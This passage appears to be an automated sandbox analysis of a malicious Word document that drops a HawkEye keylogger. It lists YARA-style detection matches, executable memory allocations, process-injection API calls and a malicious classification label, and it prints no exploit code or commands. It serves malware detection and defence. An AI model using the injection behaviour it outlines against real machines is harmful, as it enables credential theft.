              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00405CF67_2_00405CF6
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00403F857_2_00403F85
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00411F997_2_00411F99
              Source: ~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
              Source: C:\Users\user\AppData\Roaming\name.exeMemory allocated: 76F90000 page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory allocated: 76E90000 page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory allocated: 76F90000 page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeMemory allocated: 76E90000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeMemory allocated: 76F90000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeMemory allocated: 76E90000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeMemory allocated: 76F90000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeMemory allocated: 76E90000 page execute and read and writeJump to behavior
              Source: 02132022769992.doc, type: SAMPLEMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
              Source: 5.2.name.exe.500000.4.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.2.name.exe.5e0000.5.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.2.name.exe.228329c.7.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.2.name.exe.22ccb2c.8.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 5.2.name.exe.22d107c.9.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPEMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPEMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 4.2.name.exe.251bd64.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
              Source: 00000005.00000002.699519732.0000000000500000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 00000005.00000002.699538666.00000000005E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
              Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
              Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: String function: 00413F8E appears 66 times
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: String function: 00413E2D appears 34 times
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: String function: 00442A90 appears 36 times
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: String function: 004141D6 appears 88 times
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: String function: 00411538 appears 35 times
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EDC2E NtResumeThread,5_2_002EDC2E
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E85A4 NtSetContextThread,5_2_002E85A4
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E8580 NtResumeThread,5_2_002E8580
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E8598 NtWriteVirtualMemory,5_2_002E8598
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EE040 NtWriteVirtualMemory,5_2_002EE040
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EE0FC NtSetContextThread,5_2_002EE0FC
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E85BC NtResumeThread,5_2_002E85BC
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E85B0 NtSetContextThread,5_2_002E85B0
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E8688 NtWriteVirtualMemory,5_2_002E8688
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00408836 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,7_2_00408836
              Source: ~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp.0.drOLE indicator has summary info: false
              Source: PU4TLXlhTTxUD3B[1].exe.2.drStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
              Source: name.exe.2.drStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\Desktop\~$132022769992.docJump to behavior
              Source: classification engineClassification label: mal100.phis.troj.spyw.expl.evad.winDOC@10/16@6/3
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
              Source: 5.0.name.exe.400000.7.unpack, Form1.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
              Source: 5.0.name.exe.400000.12.unpack, Form1.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
              Source: 5.0.name.exe.400000.22.unpack, Form1.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
              Source: 5.2.name.exe.400000.0.unpack, Form1.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
              Source: 5.0.name.exe.400000.5.unpack, Form1.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
              Source: 5.0.name.exe.400000.17.unpack, Form1.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00415AFD GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,7_2_00415AFD
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_0040ED0B FindResourceA,SizeofResource,LoadResource,LockResource,6_2_0040ED0B
